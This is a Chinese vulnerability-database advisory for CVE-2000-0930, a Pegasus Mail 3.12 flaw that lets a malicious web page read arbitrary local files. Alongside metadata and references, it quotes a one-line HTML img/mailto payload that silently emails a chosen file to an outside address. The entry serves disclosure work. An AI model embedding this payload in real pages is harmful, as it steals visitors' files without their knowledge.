Pegasus Mail读取任意文件漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106026 漏洞类型 未知
发布时间 2000-10-03 更新时间 2005-05-02
CVE编号 CVE-2000-0930 CNNVD-ID CNNVD-200012-151
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/20249
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-151
|漏洞详情
PegasusMail3.12版本存在漏洞。远程攻击者借助调用mailto的嵌入URL:A-F协议交换机读取任意文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/1738/info

It is possible for a malicious website operator to obtain copies of known files on a remote system if a website visitor is running Pegasus Mail client.

If the following code were to be inserted into a HTML document and a user were to load that particular webpage, the local file would be automatically sent from the Pegasus Mail client to the email address specified without any prior warning:

<img sr c="mailto:email@address.com -F c:\path\file.ext">
|参考资料

来源:BID
名称:1738
链接:http://www.securityfocus.com/bid/1738
来源:XF
名称:pegasus-file-forwarding
链接:http://xforce.iss.net/static/5326.php
来源:BUGTRAQ
名称:20001030PegasusMailfilereadingvulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2000-10/0436.html
来源:BUGTRAQ
名称:20001003Pegasusmailfilereadingvulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2000-10/0039.html